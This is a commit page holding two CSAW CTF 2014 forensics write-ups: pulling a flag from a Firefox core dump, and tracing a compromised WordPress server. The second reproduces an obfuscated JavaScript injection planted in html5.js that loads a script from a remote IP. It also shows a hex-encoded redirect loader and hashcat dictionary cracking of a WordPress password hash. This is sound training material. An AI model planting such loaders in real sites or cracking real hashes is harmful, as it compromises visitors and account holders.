mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-02 14:56:10 -04:00
some small fixes
This commit is contained in:
parent
b2447582cc
commit
73da4eeecd
56 changed files with 8326 additions and 0 deletions
0
CTFs/2014-CSAW-CTF/forensics/README.md
Normal file
0
CTFs/2014-CSAW-CTF/forensics/README.md
Normal file
161
CTFs/2014-CSAW-CTF/forensics/big-data/README.md
Normal file
161
CTFs/2014-CSAW-CTF/forensics/big-data/README.md
Normal file
|
@ -0,0 +1,161 @@
|
|||
# Forensics-100: dumpster diving
|
||||
|
||||
This is the first forensic problem, and it is only 100 points. The problem starts with the following text:
|
||||
|
||||
> dumpsters are cool, but cores are cooler
|
||||
>
|
||||
> Written by marc
|
||||
>
|
||||
> [firefox.mem.zip]
|
||||
|
||||
|
||||
|
||||
----------
|
||||
|
||||
##Unziping firefox.mem.zip
|
||||
|
||||
The given file has a funny extension *.mem.zip*. Before we go ahead and unzip it, let's try to learn more about this file. To do this we choose to use the Linux's command [file]:
|
||||
|
||||
```sh
|
||||
$ file --help
|
||||
Usage: file [OPTION...] [FILE...]
|
||||
Determine type of FILEs.
|
||||
|
||||
--help display this help and exit
|
||||
-v, --version output version information and exit
|
||||
-m, --magic-file LIST use LIST as a colon-separated list of magic
|
||||
number files
|
||||
-z, --uncompress try to look inside compressed files
|
||||
-b, --brief do not prepend filenames to output lines
|
||||
-c, --checking-printout print the parsed form of the magic file, use in
|
||||
conjunction with -m to debug a new magic file
|
||||
before installing it
|
||||
-e, --exclude TEST exclude TEST from the list of test to be
|
||||
performed for file. Valid tests are:
|
||||
apptype, ascii, cdf, compress, elf, encoding,
|
||||
soft, tar, text, tokens
|
||||
-f, --files-from FILE read the filenames to be examined from FILE
|
||||
-F, --separator STRING use string as separator instead of `:'
|
||||
-i, --mime output MIME type strings (--mime-type and
|
||||
--mime-encoding)
|
||||
--apple output the Apple CREATOR/TYPE
|
||||
--mime-type output the MIME type
|
||||
--mime-encoding output the MIME encoding
|
||||
-k, --keep-going don't stop at the first match
|
||||
-l, --list list magic strength
|
||||
-L, --dereference follow symlinks (default)
|
||||
-h, --no-dereference don't follow symlinks
|
||||
-n, --no-buffer do not buffer output
|
||||
-N, --no-pad do not pad output
|
||||
-0, --print0 terminate filenames with ASCII NUL
|
||||
-p, --preserve-date preserve access times on files
|
||||
-r, --raw don't translate unprintable chars to \ooo
|
||||
-s, --special-files treat special (block/char devices) files as
|
||||
ordinary ones
|
||||
-C, --compile compile file specified by -m
|
||||
-d, --debug print debugging messages
|
||||
```
|
||||
|
||||
We find the flag ```-z```, which allows us to look inside the zipped files:
|
||||
|
||||
```sh
|
||||
$ file -z firefox.mem.zip
|
||||
firefox.mem.zip: ELF 64-bit LSB core file x86-64, version 1 (SYSV) (Zip archive data, at least v2.0 to extract)
|
||||
```
|
||||
Cool! So let's go ahead and unzip this file:
|
||||
|
||||
```sh
|
||||
$ unzip firefox.mem.zip nzip firefox.mem.zip
|
||||
Archive: firefox.mem.zip
|
||||
inflating: firefox.mem
|
||||
creating: __MACOSX/
|
||||
inflating: __MACOSX/._firefox.mem
|
||||
```
|
||||
|
||||
--------
|
||||
|
||||
|
||||
|
||||
## Extra: Learning More about the *.mem* File
|
||||
|
||||
This is a very weird file extension. If you google *.mem*, you don't find much, it's clear it's a memory file, but what now? From the *file* command, we learned that this is an *ELF 64-bit LSB core*. Let's understand this by parts.
|
||||
|
||||
An [ELF] file (Executable and Linkable Format) is a standard file format for executables, object code, shared libraries, and core dumps. The cool thing about ELF is that it's not bound to any particular architecture.
|
||||
|
||||
In Linux, we can use the command [readelf] to displays information about ELF files:
|
||||
|
||||
|
||||
```sh
|
||||
$ readelf firefox.mem
|
||||
Usage: readelf <option(s)> elf-file(s)
|
||||
Display information about the contents of ELF format files
|
||||
Options are:
|
||||
-a --all Equivalent to: -h -l -S -s -r -d -V -A -I
|
||||
-h --file-header Display the ELF file header
|
||||
-l --program-headers Display the program headers
|
||||
--segments An alias for --program-headers
|
||||
-S --section-headers Display the sections' header
|
||||
--sections An alias for --section-headers
|
||||
-g --section-groups Display the section groups
|
||||
-t --section-details Display the section details
|
||||
-e --headers Equivalent to: -h -l -S
|
||||
-s --syms Display the symbol table
|
||||
--symbols An alias for --syms
|
||||
--dyn-syms Display the dynamic symbol table
|
||||
-n --notes Display the core notes (if present)
|
||||
-r --relocs Display the relocations (if present)
|
||||
-u --unwind Display the unwind info (if present)
|
||||
-d --dynamic Display the dynamic section (if present)
|
||||
-V --version-info Display the version sections (if present)
|
||||
-A --arch-specific Display architecture specific information (if any)
|
||||
-c --archive-index Display the symbol/file index in an archive
|
||||
-D --use-dynamic Use the dynamic section info when displaying symbols
|
||||
-x --hex-dump=<number|name>
|
||||
Dump the contents of section <number|name> as bytes
|
||||
-p --string-dump=<number|name>
|
||||
Dump the contents of section <number|name> as strings
|
||||
-R --relocated-dump=<number|name>
|
||||
Dump the contents of section <number|name> as relocated bytes
|
||||
-w[lLiaprmfFsoRt] or
|
||||
--debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,
|
||||
=frames-interp,=str,=loc,=Ranges,=pubtypes,
|
||||
=gdb_index,=trace_info,=trace_abbrev,=trace_aranges]
|
||||
Display the contents of DWARF2 debug sections
|
||||
--dwarf-depth=N Do not display DIEs at depth N or greater
|
||||
--dwarf-start=N Display DIEs starting with N, at the same depth
|
||||
or deeper
|
||||
-I --histogram Display histogram of bucket list lengths
|
||||
-W --wide Allow output width to exceed 80 characters
|
||||
@<file> Read options from <file>
|
||||
-H --help Display this information
|
||||
-v --version Display the version number of readelf
|
||||
|
||||
```
|
||||
|
||||
|
||||
In addition, [LSB] stands for *Linux Standard Base*, which is a joint project by several Linux distributions. It specifies standard libraries, a number of commands and utilities that extend the POSIX standard, the layout of the file system hierarchy, run levels, the printing system, etc.
|
||||
|
||||
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Extracting Information from the *.mem* File
|
||||
|
||||
It turned out that we don't even need to know anything about the file to find the flag. All we need to do is to search for the *flag* string:
|
||||
|
||||
```sh
|
||||
$ cat firefox.mem | grep -a 'flag{'
|
||||
P<><50>negativeone_or_fdZZZZZZZZZZZZnegativeone_or_nothingZZnegativeone_or_ssize_tZZd_name_extra_sizeZZZZZZZZZZZZnull_or_dirent_ptrZZZZZZZZZZOSFILE_SIZEOF_DIRZZZZZZZZZZZZ<5A><5A><EFBFBD><EFBFBD> 3<><><7F><EFBFBD><EFBFBD><><7F><EFBFBD><EFBFBD>ZZZZZZZH<5A>f<EFBFBD>L<><4C>L<7F><4C>ZZ<5A><5A><EFBFBD><EFBFBD>@<40>m<EFBFBD><><7F><EFBFBD><EFBFBD><><7F><EFBFBD><EFBFBD>ZZZZZZZAG<41>@r<EFBFBD><EFBFBD><>y<EFBFBD><79>ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}
|
||||
```
|
||||
|
||||
Yay! We found the flag: **cd69b4957f06cd818d7bf3d61980e291**!
|
||||
|
||||
**Hack all the things!**
|
||||
|
||||
|
||||
[LSB]: http://en.wikipedia.org/wiki/Linux_Standard_Base
|
||||
[readelf]: http://linux.die.net/man/1/readelf
|
||||
[file]: http://en.wikipedia.org/wiki/File_(command)
|
||||
[firefox.mem.zip]: https://ctf.isis.poly.edu/static/uploads/606580b079e73e14ab2751e35d22ad44/firefox.mem.zip
|
||||
[ELF]: http://en.wikipedia.org/wiki/Executable_and_Linkable_Format
|
BIN
CTFs/2014-CSAW-CTF/forensics/big-data/firefox.mem.zip
Normal file
BIN
CTFs/2014-CSAW-CTF/forensics/big-data/firefox.mem.zip
Normal file
Binary file not shown.
Binary file not shown.
568
CTFs/2014-CSAW-CTF/forensics/fluffy/README.md
Normal file
568
CTFs/2014-CSAW-CTF/forensics/fluffy/README.md
Normal file
|
@ -0,0 +1,568 @@
|
|||
# Forensics-300: Fluffy No More
|
||||
|
||||
This is the fourth and the last forensics challenge in the CSAW CTF 2014 competition. I think it was much harder than any of the three before it, but it's also much more interesting.
|
||||
|
||||
The challenge stars with the following text:
|
||||
|
||||
|
||||
> OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner.
|
||||
> Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??
|
||||
>
|
||||
>Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of it's database and configuration. Figure out what is going on!
|
||||
>
|
||||
>Written by brad_anton
|
||||
>
|
||||
> [CSAW2014-FluffyNoMore-v0.1.tar.bz2]
|
||||
|
||||
Oh, no! Nobody should mess with fluffy bunnies! Ever! Let's find how this attack happened!
|
||||
|
||||
|
||||
## Inspecting the Directories
|
||||
|
||||
We start by checking the identity of the file with the command [file]. We do this to make sure that the extension is not misleading:
|
||||
```sh
|
||||
$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2
|
||||
CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k
|
||||
|
||||
```
|
||||
|
||||
OK, cool, we can go ahead and unzip the *bzip2* (compressed) tarball:
|
||||
|
||||
```sh
|
||||
$ tar --help | grep bz
|
||||
-j, --bzip2 filter the archive through bzip2
|
||||
$ tar -xjf CSAW2014-FluffyNoMore-v0.1.tar.bz2
|
||||
```
|
||||
Now, let's take a look inside the folder:
|
||||
```sh
|
||||
$ tree CSAW2014-FluffyNoMore-v0.1
|
||||
CSAW2014-FluffyNoMore-v0.1
|
||||
├── etc_directory.tar.bz2
|
||||
├── logs.tar.bz2
|
||||
├── mysql_backup.sql.bz2
|
||||
└── webroot.tar.bz2
|
||||
|
||||
0 directories, 4 files
|
||||
```
|
||||
|
||||
All right, 4 more tarballs. Unzip and organizing them, gives us the following directories:
|
||||
|
||||
- etc/
|
||||
- var/log and var/www
|
||||
- mysql_backup.sql ([MySQL database dump file])
|
||||
|
||||
|
||||
This is the directory structure of a [LAMP server], where LAMP stands for Linux-Apache-MySQL-PHP in the [Linux File System]. In this framework, the PHP/HTML/JavaScript webpage is placed inside ```var/www```.
|
||||
|
||||
The directory ```var/``` contains files that are expected to change in size and content as the system is running (var stands for variable). So it is natural that system log files are generally placed at ```/var/log```.
|
||||
|
||||
|
||||
Finally, the ```etc/``` directory contains the system configuration files. For example, the file ```resolv.conf``` tells the system where to go on the network to obtain host name to IP address mappings (DNS), or the file ```passwd``` stores login information.
|
||||
|
||||
---
|
||||
|
||||
## Life is Made of Futile Tries
|
||||
|
||||
OK, before anything, we need to give a chance:
|
||||
```sh
|
||||
$ grep -r -l "key{"
|
||||
var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
|
||||
$ grep -r -l "flag{"
|
||||
var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
webroot.tar.bz2-extracted/var/www/html/wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css
|
||||
```
|
||||
|
||||
Is our life this easy??? No, of course not. The hits we got are just funny names to mislead us, for example:
|
||||
```html
|
||||
-96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px
|
||||
```
|
||||
|
||||
---
|
||||
## Analyzing the MySQL Dump File
|
||||
|
||||
Let's start taking a look at ```mysql_backup.sql```.
|
||||
|
||||
Of course, no luck for:
|
||||
|
||||
```sh
|
||||
$ cat mysql_backup.sql | grep 'flag{'
|
||||
```
|
||||
|
||||
Fine. We open ```mysql_backup.sql``` in a text editor. The comments table shows that someone named "hacker" made an appearance:
|
||||
|
||||
|
||||
```mysql
|
||||
-- MySQL dump 10.13 Distrib 5.5.38, for debian-linux-gnu (i686)
|
||||
--
|
||||
-- Host: localhost Database: wordpress
|
||||
-- ------------------------------------------------------
|
||||
|
||||
-- Dumping data for table `wp_comments`
|
||||
--
|
||||
(..)
|
||||
|
||||
(4,5,'Hacker','hacker@secretspace.com','','192.168.127.130','2014-09-16 14:21:26','2014-09-16 14:21:26','I HATE BUNNIES AND IM GOING TO HACK THIS SITE BWHAHAHAHAHAHAHAHAHAHAHAH!!!!!!! BUNNIES SUX',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0),
|
||||
|
||||
(7,5,'Bald Bunny','nohair@hairlessclub.com','','192.168.127.130','2014-09-16 20:47:18','2014-09-16 20:47:18','I find this blog EXTREMELY OFFENSIVE!',0,'1','Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0','',0,0),
|
||||
|
||||
(8,5,'MASTER OF DISASTER','shh@nottellin.com','','192.168.127.137','2014-09-17 19:40:57','2014-09-17 19:40:57','Shut up baldy',0,'1','Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko','',7,0);
|
||||
(...)
|
||||
```
|
||||
|
||||
So we have the (possible) **attacker's email** and **IP address**. Maybe we can try to find a bit more about her.
|
||||
|
||||
Unfortunately the IP leads to nowhere:
|
||||
```sh
|
||||
$ ping 192.168.127.130
|
||||
PING 192.168.127.130 (192.168.127.130) 56(84) bytes of data.
|
||||
^C
|
||||
--- 192.168.127.130 ping statistics ---
|
||||
160 packets transmitted, 0 received, 100% packet loss, time 158999ms
|
||||
|
||||
$ nmap -A -v 192.168.127.130
|
||||
Starting Nmap 6.45 ( http://nmap.org ) at 2014-09-25 15:43 EDT
|
||||
NSE: Loaded 118 scripts for scanning.
|
||||
NSE: Script Pre-scanning.
|
||||
Initiating Ping Scan at 15:43
|
||||
Scanning 192.168.127.130 [2 ports]
|
||||
Completed Ping Scan at 15:43, 3.00s elapsed (1 total hosts)
|
||||
Nmap scan report for 192.168.127.130 [host down]
|
||||
NSE: Script Post-scanning.
|
||||
Read data files from: /usr/bin/../share/nmap
|
||||
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
|
||||
Nmap done: 1 IP address (0 hosts up) scanned in 3.13 seconds
|
||||
```
|
||||
|
||||
Searching for the host **secretspace.com** leads to some generic website. Inspecting its source code does not give us any hint either. Maybe its IP address?
|
||||
|
||||
```sh
|
||||
$ dig secretspace.com
|
||||
|
||||
; <<>> DiG 9.9.4-P2-RedHat-9.9.4-15.P2.fc20 <<>> secretspace.com
|
||||
;; global options: +cmd
|
||||
;; Got answer:
|
||||
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61131
|
||||
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
|
||||
|
||||
;; QUESTION SECTION:
|
||||
;secretspace.com. IN A
|
||||
|
||||
;; ANSWER SECTION:
|
||||
secretspace.com. 285 IN A 72.167.232.29
|
||||
|
||||
;; Query time: 7 msec
|
||||
;; SERVER: 10.0.0.1#53(10.0.0.1)
|
||||
;; WHEN: Thu Sep 25 15:51:26 EDT 2014
|
||||
;; MSG SIZE rcvd: 49
|
||||
```
|
||||
|
||||
The IP 72.167.232.29 leads to another generic page with no hints and with nothing in special in the sourcecode. Wrong direction...
|
||||
|
||||
|
||||
All right, let's give a last try and open the tables from the MySQL dump file inside a nice GUI. I use [phpMyAdmin], which I showed how to install and configure in my tutorial about setting up a [LAMP server].
|
||||
|
||||
We open ```localhost/phpmyadmin``` in our browser. First we go to *Databases* and then *Create Database* with any name we want. Then we *Import* ```mysql_backup.sql`` to this database. All the tables are loaded. Let's use the *Search* option to look for *key* or *flag*.
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
Nope. Nothing in special. By the way, ```default_pingback_flag1`` is just a **Wordpress** flag indicating the default status of ping backs when new blog posts are published.
|
||||
|
||||
Continuing our searc, if we look inside inside each of the tables we find:
|
||||
- The URL for the [blog], which doesn't render. However, in the source code, there is a commented link that leads to a [cute website]. Nothing else.
|
||||
- A hashed password!
|
||||

|
||||
|
||||
---
|
||||
## Cracking the Password
|
||||
|
||||
We want to unhash ```$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1``` and for this we are going to use [hashcat]. If you are in [Kali] or in any Debian distribution you can install it with:
|
||||
```sh
|
||||
$ apt-get hashact
|
||||
```
|
||||
|
||||
In Fedora, we need to download and unzip it:
|
||||
```sh
|
||||
$ wget http://hashcat.net/files/hashcat-0.47.7z
|
||||
$ 7za e hashcat-0.47.7z
|
||||
```
|
||||
|
||||
Now, we are going to perform a brute force attack so we need a list of passwords. If you are using Kali, you can find them with:
|
||||
|
||||
```sh
|
||||
$ locate wordlist
|
||||
```
|
||||
If this is not the case, this is an example for you (it's allways good to have several lists!):
|
||||
```sh
|
||||
$ wget http://www.scovetta.com/download/500_passwords.txt
|
||||
$ head 500_passwords.txt
|
||||
123456
|
||||
password
|
||||
12345678
|
||||
1234
|
||||
pussy
|
||||
12345
|
||||
dragon
|
||||
qwerty
|
||||
696969
|
||||
mustang
|
||||
```
|
||||
|
||||
Hashcat is awesome because it gives you a list of hash types:
|
||||
|
||||
```
|
||||
0 = MD5
|
||||
10 = md5($pass.$salt)
|
||||
20 = md5($salt.$pass)
|
||||
30 = md5(unicode($pass).$salt)
|
||||
40 = md5(unicode($pass).$salt)
|
||||
50 = HMAC-MD5 (key = $pass)
|
||||
60 = HMAC-MD5 (key = $salt)
|
||||
100 = SHA1
|
||||
110 = sha1($pass.$salt)
|
||||
120 = sha1($salt.$pass)
|
||||
130 = sha1(unicode($pass).$salt)
|
||||
140 = sha1($salt.unicode($pass))
|
||||
150 = HMAC-SHA1 (key = $pass)
|
||||
160 = HMAC-SHA1 (key = $salt)
|
||||
200 = MySQL
|
||||
300 = MySQL4.1/MySQL5
|
||||
400 = phpass, MD5(Wordpress), MD5(phpBB3)
|
||||
500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
|
||||
800 = SHA-1(Django)
|
||||
(...)
|
||||
```
|
||||
|
||||
We choose 400 because we are dealing with Wordpress. We copy and paste the hash to a file *pass.hash*. Then, we run:
|
||||
```sh
|
||||
$ ./hashcat-cli64.bin -m 400 -a 0 -o cracked.txt --remove pass.hash word_list.txt
|
||||
|
||||
Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...
|
||||
|
||||
Added hashes from file crack1.hash: 1 (1 salts)
|
||||
Activating quick-digest mode for single-hash with salt
|
||||
|
||||
NOTE: press enter for status-screen
|
||||
|
||||
|
||||
All hashes have been recovered
|
||||
|
||||
Input.Mode: Dict (500_passwords.txt)
|
||||
Index.....: 1/1 (segment), 1 (words), 14 (bytes)
|
||||
Recovered.: 1/1 hashes, 1/1 salts
|
||||
Speed/sec.: - plains, - words
|
||||
Progress..: 1/1 (100.00%)
|
||||
Running...: 00:00:00:01
|
||||
Estimated.: --:--:--:--
|
||||
|
||||
Started: Thu Sep 25 18:25:49 2014
|
||||
Stopped: Thu Sep 25 18:25:50 2014
|
||||
|
||||
```
|
||||
where:
|
||||
|
||||
* -m is for --hash-type=NUM
|
||||
* -a 0: Using a dictionary attack
|
||||
* cracked.txt is the output file
|
||||
* word_list.txt is our dictionary
|
||||
|
||||
|
||||
Now let's take a peak in the output file:
|
||||
|
||||
```sh
|
||||
$ cat cracked.txt
|
||||
$P$BmHbpWPZrjt.2V8T2xDJfbDrAJZ9So1:fluffybunnies
|
||||
```
|
||||
|
||||
It worked! Our password is **fluffybunnies**!
|
||||
|
||||
All right, this is a very silly password! It could be easy guessed. If you were the attacker, wouldn't you try this as the first option ? OK, maybe right after *password* and *123456*...
|
||||
|
||||
|
||||
#### What we have so far
|
||||
In conclusion, all we have learned from this file was the attacker's motivation, the blog's URL, that the application was in Wordpress, and a password. Ah, also that ```mailserver_login:login@example.com``` and ```mailserver_pass=password```. Talking about security... Let's move on.
|
||||
|
||||
---
|
||||
## Inspecting /var/logs/apache2
|
||||
|
||||
The next item in the list is log inspection:
|
||||
|
||||
```sh
|
||||
$ find . -type f -name '*.log'
|
||||
./apache2/error.log
|
||||
./apache2/access.log
|
||||
./apache2/other_vhosts_access.log
|
||||
./fontconfig.log
|
||||
./boot.log
|
||||
./gpu-manager.log
|
||||
./mysql.log
|
||||
./bootstrap.log
|
||||
./pm-powersave.log
|
||||
./kern.log
|
||||
./mysql/error.log
|
||||
./alternatives.log
|
||||
./lightdm/x-0.log
|
||||
./lightdm/lightdm.log
|
||||
./casper.log
|
||||
./auth.log
|
||||
./apt/term.log
|
||||
./apt/history.log
|
||||
./dpkg.log
|
||||
./Xorg.0.log
|
||||
./upstart/container-detect.log
|
||||
./upstart/console-setup.log
|
||||
./upstart/mysql.log
|
||||
./upstart/alsa-state.log
|
||||
./upstart/network-manager.log
|
||||
./upstart/whoopsie.log
|
||||
./upstart/procps-virtual-filesystems.log
|
||||
./upstart/cryptdisks.log
|
||||
./upstart/systemd-logind.log
|
||||
./upstart/procps-static-network-up.log
|
||||
./upstart/alsa-restore.log
|
||||
./upstart/modemmanager.log
|
||||
```
|
||||
|
||||
|
||||
If there is any important information in the log files, it should appears in the end of it, because the attack should be one of the last things that were logged. [Tailing] the *apache* logs did not reveal anything useful. Maybe it is interesting to know that we see the IP *192.168.127.137* in the file */apache2/access.log*, which belongs to *MASTER OF DISASTER* (see above). So *hacker* was not the attacker?
|
||||
|
||||
|
||||
-----
|
||||
## Inspecting var/logs/auth.log
|
||||
|
||||
|
||||
Now, considering that the password **fluffybunnies** was very easy to guess, we are going to take a leap and suppose that this was how the attack was crafted. Tailing ```auth.log``` shows something interesting:
|
||||
|
||||
```sh
|
||||
Sep 17 19:18:53 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/bin/chmod -R 775 /var/www/
|
||||
Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
|
||||
Sep 17 19:20:55 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/find /var/www/html/ * touch {}
|
||||
```
|
||||
So someone logged as root and:
|
||||
1. downgraded the permissions of */var/www* (755 means read and execute access for everyone and also write access for the owner of the file), and
|
||||
2. modified a JavaScript file (html5.js) in *vi*.
|
||||
|
||||
---
|
||||
## Finding the JavaScript Exploit
|
||||
|
||||
|
||||
It looks like an attack to me! Let's [diff] this JavaScript file with the original ([which we can just google]):
|
||||
|
||||
|
||||
```sh
|
||||
$ diff html5.js html5_normal.js
|
||||
93,122d92
|
||||
< var g = "ti";
|
||||
< var c = "HTML Tags";
|
||||
< var f = ". li colgroup br src datalist script option .";
|
||||
< f = f.split(" ");
|
||||
< c = "";
|
||||
< k = "/";
|
||||
< m = f[6];
|
||||
< for (var i = 0; i < f.length; i++) {
|
||||
< c += f[i].length.toString();
|
||||
< }
|
||||
< v = f[0];
|
||||
< x = "\'ht";
|
||||
< b = f[4];
|
||||
< f = 2541 * 6 - 35 + 46 + 12 - 15269;
|
||||
< c += f.toString();
|
||||
< f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
|
||||
< c += f.toString();
|
||||
< f = "";
|
||||
< c = c.split("");
|
||||
< var w = 0;
|
||||
< u = "s";
|
||||
< for (var i = 0; i < c.length; i++) {
|
||||
< if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
|
||||
< f += String.fromCharCode(46);
|
||||
< w++;
|
||||
< }
|
||||
< f += c[i];
|
||||
< }
|
||||
< i = k + "anal";
|
||||
< document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
|
||||
|
||||
```
|
||||
Aha!!! So what is being written?
|
||||
|
||||
In JavaScript, the function ```document.write()``` writes HTML expressions or JavaScript code to a document. However, we can debug it in the console if we want, changing it to ```console.log()``` (and changing any ```document``` word to ```console```). To run JavaScript in the console, you need to install [Node]:
|
||||
```sh
|
||||
$ node html5.js
|
||||
<script src='http://128.238.66.100/analytics.js'></script>
|
||||
```
|
||||
----
|
||||
|
||||
## Analyzing the Second JavaScript Exploit
|
||||
|
||||
Awesome, we see a script exploit! Let's get it!
|
||||
|
||||
```sh
|
||||
$ wget http://128.238.66.100/analytics.js
|
||||
--2014-09-25 19:17:19-- http://128.238.66.100/analytics.js
|
||||
Connecting to 128.238.66.100:80... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 16072 (16K) [application/javascript]
|
||||
Saving to: ‘analytics.js’
|
||||
|
||||
100%[===============================================================================>] 16,072 --.-K/s in 0.008s
|
||||
|
||||
2014-09-25 19:17:19 (2.02 MB/s) - ‘analytics.js’ saved [16072/16072]
|
||||
```
|
||||
|
||||
|
||||
The file turns out to be large, and *grep* *flag* or *key* doesn't give any result back. No IP addresses or URL neither.
|
||||
|
||||
OK, let's take a closer look at it. We open the file in a text editor and we found a weird hex-encoded variable that is completely unconnected from the rest:
|
||||
```
|
||||
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
|
||||
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
|
||||
```
|
||||
|
||||
We decode it using Python or a [online hex-decode]:
|
||||
```python
|
||||
>>> print("\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E")
|
||||
('http://128.238.66.100/announcement.pdf', '_self', 'open')
|
||||
```
|
||||
|
||||
OK, another file. Opening the URL leads to this picture:
|
||||

|
||||
|
||||
|
||||
No flag yet... But it should be in the PDF somewhere!
|
||||
|
||||
___
|
||||
## Finding the Second Hex-encoded String: Approach I
|
||||
|
||||
|
||||
All right, let's use what we learned from the [CSAW CTF 2014 Forensic -Obscurity] problem. First, let's see if we find the flag with a simple grep:
|
||||
```sh
|
||||
$./pdf-parser.py announcement.pdf | grep flag
|
||||
$./pdf-parser.py announcement.pdf | grep key
|
||||
```
|
||||
|
||||
No luck. Let us ID the file to see if we find any funny stream:
|
||||
|
||||
```sh
|
||||
$ ./pdfid.py announcement.pdf PDFiD 0.1.2 announcement.pdf
|
||||
PDF Header: %PDF-1.4
|
||||
obj 9
|
||||
endobj 9
|
||||
stream 4
|
||||
endstream 4
|
||||
xref 1
|
||||
trailer 1
|
||||
startxref 1
|
||||
/Page 1
|
||||
/Encrypt 0
|
||||
/ObjStm 0
|
||||
/JS 0
|
||||
/JavaScript 0
|
||||
/AA 0
|
||||
/OpenAction 0
|
||||
/AcroForm 0
|
||||
/JBIG2Decode 0
|
||||
/RichMedia 0
|
||||
/Launch 0
|
||||
/EmbeddedFile 1
|
||||
/XFA 0
|
||||
/Colors > 2^24 0
|
||||
```
|
||||
|
||||
Oh, cool, there is a **Embedded File**! Let's look closer to this object:
|
||||
```sh
|
||||
$ ./pdf-parser.py --stats announcement.pdf Comment: 3
|
||||
XREF: 1
|
||||
Trailer: 1
|
||||
StartXref: 1
|
||||
Indirect object: 9
|
||||
2: 3, 7
|
||||
/Catalog 1: 6
|
||||
/EmbeddedFile 1: 8
|
||||
/Filespec 1: 9
|
||||
/Page 1: 5
|
||||
/Pages 1: 4
|
||||
/XObject 2: 1, 2
|
||||
```
|
||||
|
||||
Nice. So now we can decode our pdf file using the **object code**, which we can see above that is **8**:
|
||||
|
||||
```sh
|
||||
$ ./pdf-parser.py --object 8 --raw --filter announcement.pdf
|
||||
obj 8 0
|
||||
Type: /EmbeddedFile
|
||||
Referencing:
|
||||
Contains stream
|
||||
|
||||
<<
|
||||
/Length 212
|
||||
/Type /EmbeddedFile
|
||||
/Filter /FlateDecode
|
||||
/Params
|
||||
<<
|
||||
/Size 495
|
||||
/Checksum <7f0104826bde58b80218635f639b50a9>
|
||||
>>
|
||||
/Subtype /application/pdf
|
||||
>>
|
||||
|
||||
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
|
||||
|
||||
```
|
||||
Which *finally* leads to our flag!
|
||||
```python
|
||||
